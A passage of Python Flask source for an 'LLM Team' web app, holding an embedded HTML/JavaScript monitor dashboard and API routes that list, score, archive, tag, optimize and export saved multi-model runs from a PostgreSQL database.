return jsonify({"active": active, "recent": recent, "timestamp": time.time()})
MONITOR_HTML = r"""<!DOCTYPE html>
<html lang="en"><head>
<meta charset="UTF-8"><meta name="viewport" content="width=device-width,initial-scale=1.0">
<title>LLM Team — Monitor</title>
<link href="https://fonts.googleapis.com/css2?family=JetBrains+Mono:wght@400;600;700&family=Inter:wght@400;500;600;700&display=swap" rel="stylesheet">
<style>
:root{--bg:#08090c;--surface:rgba(14,16,22,0.85);--border:#2a2d35;--text:#e8e6e3;--text2:#7a7872;--accent:#e2b55a;--green:#4ade80;--red:#e05252;--blue:#5b9cf5}
*{box-sizing:border-box;margin:0;padding:0}
body{font-family:'Inter',sans-serif;background:var(--bg);color:var(--text);min-height:100vh;padding:20px 28px}
canvas#bg-grid{position:fixed;inset:0;z-index:0;pointer-events:none}
.scanlines{position:fixed;inset:0;z-index:1;pointer-events:none;background:repeating-linear-gradient(0deg,transparent,transparent 2px,rgba(0,0,0,0.02) 2px,rgba(0,0,0,0.02) 4px)}
.wrap{position:relative;z-index:10;max-width:1200px;margin:0 auto}
header{display:flex;align-items:center;gap:14px;padding-bottom:18px;border-bottom:2px solid var(--border);margin-bottom:24px}
h1{font-family:'JetBrains Mono',monospace;font-size:18px;font-weight:700}
h1 span{color:var(--accent)}
.back{color:var(--text2);text-decoration:none;font-size:10px;font-family:'JetBrains Mono',monospace;text-transform:uppercase;letter-spacing:1px;border:2px solid var(--border);padding:5px 12px;border-radius:2px}
.back:hover{border-color:var(--accent);color:var(--accent)}
.live-dot{width:8px;height:8px;border-radius:50%;background:var(--green);box-shadow:0 0 8px var(--green);animation:pulse-dot 2s ease-in-out infinite}
@keyframes pulse-dot{0%,100%{opacity:1}50%{opacity:0.5}}
.section{margin-bottom:28px}
.section-title{font-family:'JetBrains Mono',monospace;font-size:10px;text-transform:uppercase;letter-spacing:2px;color:var(--accent);margin-bottom:12px;font-weight:700}
.card{background:var(--surface);border:2px solid var(--border);border-radius:2px;padding:16px;margin-bottom:8px;backdrop-filter:blur(16px);cursor:pointer;transition:border-color 0.15s}
.card:hover{border-color:rgba(226,181,90,0.4)}
.card.active{border-color:var(--accent);box-shadow:0 0 20px rgba(226,181,90,0.05)}
.card.error{border-color:var(--red)}
.card.no-click{cursor:default}
.card.no-click:hover{border-color:var(--border)}
.card-row{display:flex;align-items:center;gap:8px;margin-bottom:4px;flex-wrap:wrap}
.tag{font-family:'JetBrains Mono',monospace;font-size:9px;text-transform:uppercase;letter-spacing:1px;padding:3px 8px;border:1px solid;border-radius:1px;font-weight:600}
.tag-mode{color:var(--accent);border-color:rgba(226,181,90,0.3)}
.tag-user{color:var(--blue);border-color:rgba(91,156,245,0.3)}
.tag-time{color:var(--text2);border-color:var(--border)}
.tag-err{color:var(--red);border-color:rgba(224,82,82,0.3)}
.tag-ok{color:var(--green);border-color:rgba(74,222,128,0.3)}
.tag-role{color:#c084fc;border-color:rgba(192,132,252,0.3)}
.prompt-text{font-size:12px;color:var(--text2);margin:4px 0;font-style:italic;max-width:600px;overflow:hidden;text-overflow:ellipsis;white-space:nowrap}
.mini-progress{height:4px;background:rgba(0,0,0,0.4);border-radius:1px;overflow:hidden;margin:6px 0}
.mini-fill{height:100%;background:var(--accent);transition:width 0.5s}
.substep{font-family:'JetBrains Mono',monospace;font-size:10px;color:var(--text2)}
.error-line{font-family:'JetBrains Mono',monospace;font-size:10px;color:var(--red);border-left:2px solid var(--red);padding-left:8px;margin:4px 0}
.stats-grid{display:grid;grid-template-columns:repeat(4,1fr);gap:8px;margin-bottom:24px}
.stat-box{background:var(--surface);border:2px solid var(--border);border-radius:2px;padding:14px;backdrop-filter:blur(16px);text-align:center}
.stat-val{font-family:'JetBrains Mono',monospace;font-size:22px;font-weight:700;color:var(--accent)}
.stat-label{font-family:'JetBrains Mono',monospace;font-size:9px;text-transform:uppercase;letter-spacing:1.5px;color:var(--text2);margin-top:4px}
.empty{font-family:'JetBrains Mono',monospace;font-size:11px;color:var(--text2);padding:20px;text-align:center;opacity:0.5}
.breadcrumb{font-family:'JetBrains Mono',monospace;font-size:10px;text-transform:uppercase;letter-spacing:1px;color:var(--text2);margin-bottom:16px;display:flex;align-items:center;gap:6px}
.breadcrumb a{color:var(--accent);text-decoration:none;cursor:pointer}
.breadcrumb a:hover{text-decoration:underline}
.breadcrumb .sep{opacity:0.3}
.detail-panel{display:none}
.detail-panel.open{display:block}
.detail-header{background:var(--surface);border:2px solid var(--accent);border-radius:2px;padding:18px;margin-bottom:16px;backdrop-filter:blur(16px)}
.detail-prompt{font-size:13px;color:var(--text);margin:8px 0;line-height:1.6}
.step-timeline{position:relative;padding-left:24px;margin-bottom:16px}
.step-timeline::before{content:'';position:absolute;left:7px;top:4px;bottom:4px;width:2px;background:var(--border)}
.step-item{position:relative;margin-bottom:12px;cursor:pointer}
.step-dot{position:absolute;left:-20px;top:4px;width:10px;height:10px;border-radius:2px;border:2px solid var(--border);background:var(--bg)}
.step-item.done .step-dot{background:var(--accent);border-color:var(--accent)}
.step-item.error .step-dot{background:var(--red);border-color:var(--red)}
.step-head{display:flex;align-items:center;gap:8px;font-size:12px;font-weight:600}
.step-meta{font-family:'JetBrains Mono',monospace;font-size:10px;color:var(--text2);margin-top:2px}
.step-preview{font-size:11px;color:var(--text2);margin-top:4px;max-height:0;overflow:hidden;transition:max-height 0.3s;line-height:1.5}
.step-item.expanded .step-preview{max-height:2000px}
.step-text{background:rgba(0,0,0,0.3);border:1px solid var(--border);border-radius:2px;padding:12px;margin-top:6px;white-space:pre-wrap;font-size:12px;line-height:1.6;max-height:400px;overflow-y:auto}
.step-text::-webkit-scrollbar{width:3px}
.step-text::-webkit-scrollbar-thumb{background:rgba(226,181,90,0.15)}
.click-hint{font-family:'JetBrains Mono',monospace;font-size:8px;text-transform:uppercase;letter-spacing:1.5px;color:var(--text2);opacity:0.4;margin-top:4px}
@media(max-width:768px){.stats-grid{grid-template-columns:repeat(2,1fr)}.card-row{gap:6px}}
</style>
</head><body>
<canvas id="bg-grid"></canvas>
<div class="scanlines"></div>
<div class="wrap">
<header>
<div class="live-dot"></div>
<h1><span>Monitor</span> // Process View</h1>
<nav style="margin-left:auto;display:flex;gap:6px">
<a class="back" href="/">Team</a>
<a class="back" href="/logs">Logs</a>
<a class="back" href="/admin">Admin</a>
</nav>
</header>
<div class="stats-grid">
<div class="stat-box"><div class="stat-val" id="s-active">0</div><div class="stat-label">Active Runs</div></div>
<div class="stat-box"><div class="stat-val" id="s-total">0</div><div class="stat-label">Completed</div></div>
<div class="stat-box"><div class="stat-val" id="s-errors">0</div><div class="stat-label">Errors</div></div>
<div class="stat-box"><div class="stat-val" id="s-avgtime">—</div><div class="stat-label">Avg Duration</div></div>
</div>
<!-- Level 1: Run list -->
<div id="view-list">
<div class="section">
<div class="section-title">Active Runs</div>
<div id="active-runs"><div class="empty">No active runs</div></div>
</div>
<div class="section">
<div class="section-title">Recent Runs</div>
<div id="recent-runs"><div class="empty">No recent runs</div></div>
</div>
<div class="section">
<div class="section-title">History (from DB)</div>
<div id="db-runs"><div class="empty">Loading...</div></div>
</div>
</div>
<!-- Level 2: Pipeline detail -->
<div id="view-detail" class="detail-panel">
<div class="breadcrumb">
<a onclick="backToList()">Monitor</a>
<span class="sep">→</span>
<span id="detail-breadcrumb">Run</span>
</div>
<div id="detail-content"></div>
</div>
</div>
<script>
!function(){var c=document.getElementById('bg-grid');if(!c)return;var x=c.getContext('2d');function resize(){c.width=window.innerWidth;c.height=window.innerHeight}resize();window.addEventListener('resize',resize);var t=0;function draw(){x.clearRect(0,0,c.width,c.height);var s=50,ox=(t*0.2)%s,oy=(t*0.1)%s;x.fillStyle='rgba(226,181,90,0.025)';for(var gx=-s+ox;gx<c.width+s;gx+=s)for(var gy=-s+oy;gy<c.height+s;gy+=s){x.beginPath();x.arc(gx,gy,0.7,0,Math.PI*2);x.fill()}t++;requestAnimationFrame(draw)}draw()}();
function fmt(s){if(!s&&s!==0)return'';if(s<60)return Math.round(s)+'s';return Math.floor(s/60)+'m '+Math.round(s%60)+'s'}
function esc(t){var d=document.createElement('span');d.textContent=t;return d.innerHTML}
function tag(text,cls){var t=document.createElement('span');t.className='tag '+cls;t.textContent=text;return t}
function truncate(t,n){return t&&t.length>n?t.substring(0,n)+'...':t||''}
function backToList(){
document.getElementById('view-list').style.display='';
document.getElementById('view-detail').className='detail-panel';
}
function renderActive(runs){
var el=document.getElementById('active-runs');
if(!runs.length){el.textContent='';var e=document.createElement('div');e.className='empty';e.textContent='No active runs';el.appendChild(e);return}
el.textContent='';
runs.forEach(function(r){
var c=document.createElement('div');c.className='card active no-click';
var row=document.createElement('div');row.className='card-row';
row.appendChild(tag(r.mode,'tag-mode'));row.appendChild(tag(r.user,'tag-user'));
row.appendChild(tag(fmt(r.elapsed),'tag-time'));row.appendChild(tag(r.events+' events','tag-time'));
if(r.errors>0)row.appendChild(tag(r.errors+' errors','tag-err'));
c.appendChild(row);
var p=document.createElement('div');p.className='prompt-text';p.textContent=r.prompt;c.appendChild(p);
if(r.total_steps>0){var mp=document.createElement('div');mp.className='mini-progress';var mf=document.createElement('div');mf.className='mini-fill';mf.style.width=Math.max(5,Math.round((r.step/r.total_steps)*100))+'%';mp.appendChild(mf);c.appendChild(mp)}
if(r.substep){var s=document.createElement('div');s.className='substep';s.textContent=r.substep;c.appendChild(s)}
el.appendChild(c);
});
}
function renderRecent(runs){
var el=document.getElementById('recent-runs');
if(!runs.length){el.textContent='';var e=document.createElement('div');e.className='empty';e.textContent='No recent runs (this session)';el.appendChild(e);return}
el.textContent='';
runs.forEach(function(r){
var c=document.createElement('div');c.className='card'+(r.errors&&r.errors.length?' error':'');
var row=document.createElement('div');row.className='card-row';
row.appendChild(tag(r.mode,'tag-mode'));row.appendChild(tag(r.user||'?','tag-user'));
row.appendChild(tag(fmt(r.duration),'tag-time'));
row.appendChild(tag((r.response_count||0)+' resp','tag-time'));
if(r.errors&&r.errors.length)row.appendChild(tag(r.errors.length+' errors','tag-err'));
else row.appendChild(tag('ok','tag-ok'));
c.appendChild(row);
var p=document.createElement('div');p.className='prompt-text';p.textContent=r.prompt;c.appendChild(p);
if(r.errors&&r.errors.length){r.errors.slice(-1).forEach(function(e){
var el2=document.createElement('div');el2.className='error-line';el2.textContent=(e.model||'?')+': '+truncate(e.error,80);c.appendChild(el2);
})}
var hint=document.createElement('div');hint.className='click-hint';hint.textContent='No DB entry — in-memory only';
c.appendChild(hint);
c.style.cursor='default';
el.appendChild(c);
});
}
function renderDBRuns(runs){
var el=document.getElementById('db-runs');
if(!runs.length){el.textContent='';var e=document.createElement('div');e.className='empty';e.textContent='No saved runs';el.appendChild(e);return}
el.textContent='';
runs.forEach(function(r){
var c=document.createElement('div');c.className='card';
c.onclick=function(){openRun(r.id)};
var row=document.createElement('div');row.className='card-row';
row.appendChild(tag(r.mode,'tag-mode'));
row.appendChild(tag(r.models_used?r.models_used.length+' models':'?','tag-time'));
var ts=r.created_at?new Date(r.created_at).toLocaleString():'?';
row.appendChild(tag(ts,'tag-time'));
c.appendChild(row);
var p=document.createElement('div');p.className='prompt-text';p.textContent=truncate(r.prompt,100);c.appendChild(p);
var hint=document.createElement('div');hint.className='click-hint';hint.textContent='Click to drill down →';c.appendChild(hint);
el.appendChild(c);
});
}
async function openRun(id){
document.getElementById('view-list').style.display='none';
document.getElementById('view-detail').className='detail-panel open';
var content=document.getElementById('detail-content');
content.textContent='Loading...';
try{
var r=await fetch('/api/runs/'+id);
var run=await r.json();
if(run.error){content.textContent='Error: '+run.error;return}
document.getElementById('detail-breadcrumb').textContent=run.mode+' #'+id;
renderRunDetail(run,content);
}catch(e){content.textContent='Error: '+e.message}
}
function renderRunDetail(run,el){
el.textContent='';
// Header card
var header=document.createElement('div');header.className='detail-header';
var row=document.createElement('div');row.className='card-row';
row.appendChild(tag(run.mode,'tag-mode'));
if(run.models_used)row.appendChild(tag(run.models_used.length+' models','tag-time'));
var ts=run.created_at?new Date(run.created_at).toLocaleString():'';
if(ts)row.appendChild(tag(ts,'tag-time'));
header.appendChild(row);
var prompt=document.createElement('div');prompt.className='detail-prompt';prompt.textContent=run.prompt||'';header.appendChild(prompt);
el.appendChild(header);
// Step timeline from responses
var responses=run.responses||[];
if(!responses.length){var empty=document.createElement('div');empty.className='empty';empty.textContent='No responses recorded';el.appendChild(empty);return}
var title=document.createElement('div');title.className='section-title';title.textContent='Pipeline Steps ('+responses.length+' responses)';el.appendChild(title);
var timeline=document.createElement('div');timeline.className='step-timeline';
var lastRole='';
responses.forEach(function(resp,i){
var isError=resp.role==='error';
var isNewPhase=resp.role!==lastRole;
lastRole=resp.role;
var item=document.createElement('div');
item.className='step-item'+(isError?' error':' done');
var dot=document.createElement('div');dot.className='step-dot';item.appendChild(dot);
var head=document.createElement('div');head.className='step-head';
var modelSpan=document.createElement('span');modelSpan.textContent=resp.model||'unknown';head.appendChild(modelSpan);
head.appendChild(tag(resp.role||'response','tag-role'));
var sizeTag=tag(resp.text?resp.text.length+' chars':'empty','tag-time');head.appendChild(sizeTag);
item.appendChild(head);
var meta=document.createElement('div');meta.className='step-meta';
meta.textContent='~'+Math.round((resp.text||'').length/4)+' tokens';
item.appendChild(meta);
// Collapsible preview
var preview=document.createElement('div');preview.className='step-preview';
var textBox=document.createElement('div');textBox.className='step-text';
textBox.textContent=resp.text||'(empty)';
preview.appendChild(textBox);
item.appendChild(preview);
item.onclick=function(e){
e.stopPropagation();
item.classList.toggle('expanded');
};
timeline.appendChild(item);
});
el.appendChild(timeline);
}
async function loadDBRuns(){
try{
var r=await fetch('/api/runs');
var d=await r.json();
renderDBRuns(d.runs||[]);
}catch(e){document.getElementById('db-runs').textContent='Error: '+e.message}
}
async function poll(){
try{
var r=await fetch('/api/admin/monitor');
var d=await r.json();
document.getElementById('s-active').textContent=d.active.length;
document.getElementById('s-total').textContent=d.recent.length;
var errs=d.recent.reduce(function(a,r){return a+((r.errors&&r.errors.length)||0)},0);
document.getElementById('s-errors').textContent=errs;
var durations=d.recent.filter(function(r){return r.duration}).map(function(r){return r.duration});
document.getElementById('s-avgtime').textContent=durations.length?fmt(durations.reduce(function(a,b){return a+b},0)/durations.length):'';
renderActive(d.active);
renderRecent(d.recent);
}catch(e){console.error('Monitor poll error:',e)}
}
poll();
loadDBRuns();
setInterval(poll,3000);
</script>
</body></html>"""
# ─── HISTORY ROUTES ────────────────────────────────────────────
@app.route("/api/runs")
@login_required
def get_runs():
show = request.args.get("show", "active") # active, archived, all
try:
with get_db() as conn:
with conn.cursor(cursor_factory=psycopg2.extras.RealDictCursor) as cur:
if show == "archived":
cur.execute("SELECT id, mode, prompt, models_used, created_at, archived FROM team_runs WHERE archived = true ORDER BY created_at DESC LIMIT 200")
elif show == "all":
cur.execute("SELECT id, mode, prompt, models_used, created_at, archived FROM team_runs ORDER BY created_at DESC LIMIT 200")
else:
cur.execute("SELECT id, mode, prompt, models_used, created_at, archived FROM team_runs WHERE archived = false ORDER BY created_at DESC LIMIT 50")
runs = cur.fetchall()
for r in runs:
r["created_at"] = r["created_at"].isoformat()
return jsonify({"runs": runs})
except Exception as e:
return jsonify({"runs": [], "error": str(e)})
@app.route("/api/runs/<int:run_id>")
@login_required
def get_run(run_id):
try:
with get_db() as conn:
with conn.cursor(cursor_factory=psycopg2.extras.RealDictCursor) as cur:
cur.execute("SELECT * FROM team_runs WHERE id = %s", (run_id,))
run = cur.fetchone()
if not run:
return jsonify({"error": "not found"}), 404
run["created_at"] = run["created_at"].isoformat()
return jsonify(run)
except Exception as e:
return jsonify({"error": str(e)}), 500
@app.route("/api/runs/<int:run_id>", methods=["DELETE"])
@login_required
def delete_run(run_id):
try:
with get_db() as conn:
with conn.cursor() as cur:
cur.execute("DELETE FROM team_runs WHERE id = %s", (run_id,))
conn.commit()
return jsonify({"ok": True})
except Exception as e:
return jsonify({"error": str(e)}), 500
@app.route("/api/runs/<int:run_id>/score", methods=["POST"])
@login_required
def score_run(run_id):
"""User thumbs up/down on a run — overrides auto-score."""
data = request.json or {}
vote = data.get("vote")
if vote not in ("up", "down"):
return jsonify({"error": "vote must be 'up' or 'down'"}), 400
score = 8.0 if vote == "up" else 3.0
method = f"user_{vote}"
try:
with get_db() as conn:
with conn.cursor() as cur:
cur.execute(
"UPDATE team_runs SET quality_score = %s, score_method = %s, score_metadata = score_metadata || %s WHERE id = %s",
(score, method, json.dumps({"user": session.get("username", "unknown"), "voted_at": time.time()}), run_id)
)
conn.commit()
return jsonify({"ok": True, "score": score, "method": method})
except Exception as e:
return jsonify({"error": str(e)}), 500
@app.route("/api/runs/<int:run_id>/optimize", methods=["POST"])
@admin_required
def start_optimize(run_id):
"""Start an auto-optimize job for a past run."""
job_id = f"opt-{run_id}-{int(time.time())}"
try:
with get_db() as conn:
with conn.cursor() as cur:
cur.execute("SELECT id FROM team_runs WHERE id = %s", (run_id,))
if not cur.fetchone():
return jsonify({"error": "Run not found"}), 404
except Exception as e:
return jsonify({"error": str(e)}), 500
# Don't allow double-optimize
for jid, info in _optimize_jobs.items():
if jid.startswith(f"opt-{run_id}-") and info.get("status") == "running":
return jsonify({"error": "Already optimizing this run", "job_id": jid}), 409
_optimize_jobs[job_id] = {"status": "starting"}
_optimize_queues[job_id] = []
t = threading.Thread(target=_run_optimize, args=(job_id, run_id), daemon=True)
_optimize_jobs[job_id]["thread"] = t
t.start()
return jsonify({"ok": True, "job_id": job_id})
@app.route("/api/optimize-history/<int:run_id>")
@login_required
def optimize_history(run_id):
"""Get optimization results for a specific parent run."""
try:
with get_db() as conn:
with conn.cursor(cursor_factory=psycopg2.extras.RealDictCursor) as cur:
# Find all optimize pipeline runs for this parent
cur.execute("""
SELECT id, result, duration_ms, completed_at
FROM pipeline_runs
WHERE pipeline = 'optimize' AND result->>'parent_run' = %s
ORDER BY completed_at DESC
""", (str(run_id),))
results = []
for r in cur.fetchall():
res = r.get("result") or {}
results.append({
"id": r["id"],
"best_score": res.get("best_score"),
"original_score": res.get("original_score"),
"improvement": res.get("improvement"),
"variations_tested": res.get("variations_tested"),
"calls_used": res.get("calls_used"),
"ranked": res.get("ranked", [])[:3],
"completed_at": str(r["completed_at"]) if r["completed_at"] else None,
"duration_ms": r["duration_ms"],
})
# Also find child runs
cur.execute("""
SELECT id, mode, quality_score, config->>'strategy' as strategy, config->>'variation' as variation
FROM team_runs
WHERE config->>'parent_run' = %s
ORDER BY quality_score DESC NULLS LAST
""", (str(run_id),))
children = [dict(r) for r in cur.fetchall()]
return jsonify({"results": results, "children": children})
except Exception as e:
return jsonify({"error": str(e), "results": [], "children": []}), 500
@app.route("/api/optimize/<job_id>/stream")
@login_required
def optimize_stream(job_id):
"""SSE stream for optimization progress."""
q = []
_optimize_queues.setdefault(job_id, []).append(q)
def generate():
try:
idle_count = 0
while True:
if q:
idle_count = 0
data = q.pop(0)
yield f"data: {json.dumps(data)}\n\n"
if data.get("type") == "done":
break
else:
idle_count += 1
if idle_count > 300: # 5 min timeout
break
time.sleep(1)
yield ": keepalive\n\n"
finally:
try:
_optimize_queues.get(job_id, []).remove(q)
except ValueError:
pass
return Response(generate(), mimetype="text/event-stream",
headers={"Cache-Control": "no-cache", "X-Accel-Buffering": "no", "Connection": "keep-alive"})
@app.route("/api/runs/<int:run_id>/archive", methods=["POST"])
@login_required
def archive_run(run_id):
try:
with get_db() as conn:
with conn.cursor() as cur:
cur.execute("UPDATE team_runs SET archived = true WHERE id = %s", (run_id,))
conn.commit()
return jsonify({"ok": True})
except Exception as e:
return jsonify({"error": str(e)}), 500
@app.route("/api/runs/<int:run_id>/restore", methods=["POST"])
@login_required
def restore_run(run_id):
try:
with get_db() as conn:
with conn.cursor() as cur:
cur.execute("UPDATE team_runs SET archived = false WHERE id = %s", (run_id,))
conn.commit()
return jsonify({"ok": True})
except Exception as e:
return jsonify({"error": str(e)}), 500
@app.route("/api/runs/bulk-archive", methods=["POST"])
@admin_required
def bulk_archive_runs():
data = request.json or {}
action = data.get("action", "archive") # archive or restore
ids = data.get("ids", [])
before = data.get("before") # archive all before this date
try:
with get_db() as conn:
with conn.cursor() as cur:
archived_val = action == "archive"
if ids:
cur.execute("UPDATE team_runs SET archived = %s WHERE id = ANY(%s)", (archived_val, ids))
count = cur.rowcount
elif before:
cur.execute("UPDATE team_runs SET archived = %s WHERE created_at < %s AND archived = %s",
(archived_val, before, not archived_val))
count = cur.rowcount
else:
# Archive all
cur.execute("UPDATE team_runs SET archived = true WHERE archived = false")
count = cur.rowcount
conn.commit()
return jsonify({"ok": True, "count": count})
except Exception as e:
return jsonify({"error": str(e)}), 500
@app.route("/api/runs/<int:run_id>/tags", methods=["POST"])
@login_required
def update_run_tags(run_id):
data = request.json or {}
tags = data.get("tags", [])
notes = data.get("notes")
try:
with get_db() as conn:
with conn.cursor() as cur:
if notes is not None:
cur.execute("UPDATE team_runs SET tags = %s, notes = %s WHERE id = %s", (tags, notes, run_id))
else:
cur.execute("UPDATE team_runs SET tags = %s WHERE id = %s", (tags, run_id))
conn.commit()
return jsonify({"ok": True})
except Exception as e:
return jsonify({"error": str(e)}), 500
@app.route("/api/runs/tags")
@login_required
def get_all_tags():
"""Get all unique tags in use."""
try:
with get_db() as conn:
with conn.cursor() as cur:
cur.execute("SELECT DISTINCT unnest(tags) as tag FROM team_runs ORDER BY tag")
tags = [r[0] for r in cur.fetchall()]
return jsonify({"tags": tags})
except Exception as e:
return jsonify({"tags": [], "error": str(e)})
@app.route("/api/runs/vectors")
@login_required
def get_run_vectors():
"""Return runs as structured text documents for AI/embedding consumption."""
limit = min(int(request.args.get("limit", 50)), 500)
mode_filter = request.args.get("mode", "")
tag_filter = request.args.get("tag", "")
try:
with get_db() as conn:
with conn.cursor(cursor_factory=psycopg2.extras.RealDictCursor) as cur:
conditions = ["archived = false"]
params = []
if mode_filter:
conditions.append("mode = %s")
params.append(mode_filter)
if tag_filter:
conditions.append("%s = ANY(tags)")
params.append(tag_filter)
where = " AND ".join(conditions)
params.append(limit)
cur.execute(f"SELECT * FROM team_runs WHERE {where} ORDER BY created_at DESC LIMIT %s", params)
runs = cur.fetchall()
vectors = []
for run in runs:
responses = run.get("responses") or []
# Build structured document
doc_parts = [
f"MODE: {run['mode']}",
f"PROMPT: {run['prompt']}",
f"MODELS: {', '.join(run.get('models_used') or [])}",
f"DATE: {run['created_at'].isoformat()}",
f"TAGS: {', '.join(run.get('tags') or [])}",
]
if run.get("notes"):
doc_parts.append(f"NOTES: {run['notes']}")
for i, resp in enumerate(responses):
doc_parts.append(f"\n--- RESPONSE {i+1} [{resp.get('role','?')}] by {resp.get('model','?')} ---")
doc_parts.append(resp.get("text", "")[:2000])
document = "\n".join(doc_parts)
vectors.append({
"id": run["id"],
"mode": run["mode"],
"prompt": run["prompt"],
"tags": run.get("tags") or [],
"document": document,
"char_count": len(document),
"token_estimate": len(document) // 4
})
return jsonify({"vectors": vectors, "total": len(vectors)})
except Exception as e:
return jsonify({"vectors": [], "error": str(e)})
@app.route("/history")
@login_required
def history_page():
return HISTORY_HTML
HISTORY_HTML = r"""<!DOCTYPE html>
<html lang="en"><head>
<meta charset="UTF-8"><meta name="viewport" content="width=device-width,initial-scale=1.0">
<title>LLM Team — History</title>
<link href="https://fonts.googleapis.com/css2?family=JetBrains+Mono:wght@400;600;700&family=Inter:wght@400;500;600;700&display=swap" rel="stylesheet">
<style>
:root{--bg:#08090c;--surface:rgba(14,16,22,0.85);--border:#2a2d35;--text:#e8e6e3;--text2:#7a7872;--accent:#e2b55a;--green:#4ade80;--red:#e05252;--blue:#5b9cf5}
*{box-sizing:border-box;margin:0;padding:0}
body{font-family:'Inter',sans-serif;background:var(--bg);color:var(--text);min-height:100vh;padding:20px 28px}
canvas#bg-grid{position:fixed;inset:0;z-index:0;pointer-events:none}
.scanlines{position:fixed;inset:0;z-index:1;pointer-events:none;background:repeating-linear-gradient(0deg,transparent,transparent 2px,rgba(0,0,0,0.02) 2px,rgba(0,0,0,0.02) 4px)}
.wrap{position:relative;z-index:10;max-width:1400px;margin:0 auto}
header{display:flex;align-items:center;gap:14px;padding-bottom:18px;border-bottom:2px solid var(--border);margin-bottom:20px}
h1{font-family:'JetBrains Mono',monospace;font-size:18px;font-weight:700}
h1 span{color:var(--accent)}
.back{color:var(--text2);text-decoration:none;font-size:10px;font-family:'JetBrains Mono',monospace;text-transform:uppercase;letter-spacing:1px;border:2px solid var(--border);padding:5px 12px;border-radius:2px}
.back:hover{border-color:var(--accent);color:var(--accent)}
.toolbar{display:flex;gap:6px;align-items:center;margin-bottom:14px;flex-wrap:wrap}
.tool-btn{font-family:'JetBrains Mono',monospace;font-size:9px;text-transform:uppercase;letter-spacing:0.5px;padding:5px 12px;border:2px solid var(--border);border-radius:2px;background:transparent;color:var(--text2);cursor:pointer}
.tool-btn:hover{border-color:var(--accent);color:var(--accent)}
.tool-btn.active{border-color:var(--accent);color:var(--accent);background:rgba(226,181,90,0.06)}
.tool-btn.mag{border-color:rgba(217,70,239,0.3);color:#d946ef}
.tool-btn.mag:hover{background:rgba(217,70,239,0.06)}
.tool-btn.grn{border-color:rgba(74,222,128,0.3);color:var(--green)}
.tool-btn.red{border-color:rgba(224,82,82,0.3);color:var(--red)}
.tool-select{font-family:'JetBrains Mono',monospace;font-size:10px;background:rgba(0,0,0,0.4);border:2px solid var(--border);color:var(--text);border-radius:2px;padding:4px 8px}
.tool-input{font-family:'JetBrains Mono',monospace;font-size:10px;background:rgba(0,0,0,0.4);border:2px solid var(--border);color:var(--text);border-radius:2px;padding:4px 10px;flex:1;min-width:120px}
.spacer{flex:1}
.count-badge{font-family:'JetBrains Mono',monospace;font-size:10px;color:var(--text2)}
.run-table{width:100%}
.run-row{display:grid;grid-template-columns:30px 50px 90px 1fr 80px 100px 80px;gap:8px;padding:8px 10px;border-bottom:1px solid rgba(42,45,53,0.3);align-items:center;font-size:11px;cursor:pointer;transition:background 0.1s}
.run-row:hover{background:rgba(226,181,90,0.03)}
.run-row.archived{opacity:0.4}
.run-hdr{font-family:'JetBrains Mono',monospace;font-size:8px;text-transform:uppercase;letter-spacing:1px;color:var(--text2);cursor:default;border-bottom:2px solid var(--border)}
.run-hdr:hover{background:transparent}
.run-id{color:var(--text2);font-family:'JetBrains Mono',monospace}
.run-mode{font-family:'JetBrains Mono',monospace;font-weight:700;color:var(--accent);font-size:10px;text-transform:uppercase}
.run-prompt{color:var(--text);overflow:hidden;text-overflow:ellipsis;white-space:nowrap}
.run-models{color:var(--text2);font-family:'JetBrains Mono',monospace;font-size:10px}
.run-date{color:var(--text2);font-family:'JetBrains Mono',monospace;font-size:9px}
.run-tags{display:flex;gap:3px;flex-wrap:wrap}
.tag-pill{font-family:'JetBrains Mono',monospace;font-size:8px;padding:1px 6px;border:1px solid rgba(192,132,252,0.3);border-radius:1px;color:#c084fc}
.detail-panel{display:none;background:var(--surface);border:2px solid var(--accent);border-radius:2px;padding:20px;margin-bottom:20px;backdrop-filter:blur(16px)}
.detail-panel.open{display:block}
.detail-header{display:flex;gap:10px;align-items:center;margin-bottom:12px;flex-wrap:wrap}
.detail-prompt{font-size:13px;line-height:1.6;margin-bottom:12px}
.detail-actions{display:flex;gap:4px;margin-bottom:14px;flex-wrap:wrap}
.tag-editor{display:flex;gap:4px;align-items:center;margin-bottom:12px}
.tag-editor input{font-family:'JetBrains Mono',monospace;font-size:10px;background:rgba(0,0,0,0.4);border:2px solid var(--border);color:var(--text);border-radius:2px;padding:4px 8px;width:120px}
.notes-area{width:100%;min-height:40px;background:rgba(0,0,0,0.4);border:2px solid var(--border);color:var(--text);border-radius:2px;padding:8px;font-size:12px;font-family:'JetBrains Mono',monospace;resize:vertical;margin-bottom:12px}
.notes-area:focus{border-color:var(--accent);outline:none}
.resp-card{background:rgba(0,0,0,0.25);border:2px solid var(--border);border-radius:2px;margin-bottom:6px;overflow:hidden}
.resp-head{display:flex;align-items:center;gap:8px;padding:8px 12px;border-bottom:1px solid var(--border);font-family:'JetBrains Mono',monospace;font-size:11px;cursor:pointer}
.resp-head:hover{background:rgba(226,181,90,0.03)}
.resp-role{font-size:9px;text-transform:uppercase;letter-spacing:1px;color:#c084fc;margin-left:auto}
.resp-body{display:none;padding:12px;font-size:12px;line-height:1.6;white-space:pre-wrap;max-height:400px;overflow-y:auto}
.resp-body.open{display:block}
.empty{font-family:'JetBrains Mono',monospace;font-size:11px;color:var(--text2);padding:40px;text-align:center;opacity:0.5}
.toast{position:fixed;top:20px;right:20px;padding:8px 14px;border-radius:2px;font-size:10px;z-index:100;font-family:'JetBrains Mono',monospace;border:2px solid;backdrop-filter:blur(16px)}
.toast.ok{background:rgba(74,222,128,0.1);border-color:var(--green);color:var(--green)}
.toast.err{background:rgba(224,82,82,0.1);border-color:var(--red);color:var(--red)}
@media(max-width:768px){.run-row{grid-template-columns:30px 60px 1fr 60px}.run-models,.run-date,.run-tags{display:none}}
</style></head><body>
<canvas id="bg-grid"></canvas>
<div class="scanlines"></div>
<div class="wrap">
<header>
<h1><span>History</span> // Run Archive</h1>
<nav style="margin-left:auto;display:flex;gap:6px">
<a class="back" href="/">Team</a>
<a class="back" href="/admin/monitor">Monitor</a>
<a class="back" href="/logs">Logs</a>
<a class="back" href="/admin">Admin</a>
</nav>
</header>
<!-- Toolbar -->
<div class="toolbar">
<button class="tool-btn active" id="tb-active" onclick="setView('active')">Active</button>
<button class="tool-btn" id="tb-archived" onclick="setView('archived')">Archived</button>
<button class="tool-btn" id="tb-all" onclick="setView('all')">All</button>
<span style="width:2px;height:16px;background:var(--border);margin:0 2px"></span>
<select class="tool-select" id="filter-mode" onchange="loadRuns()"><option value="">All Modes</option></select>
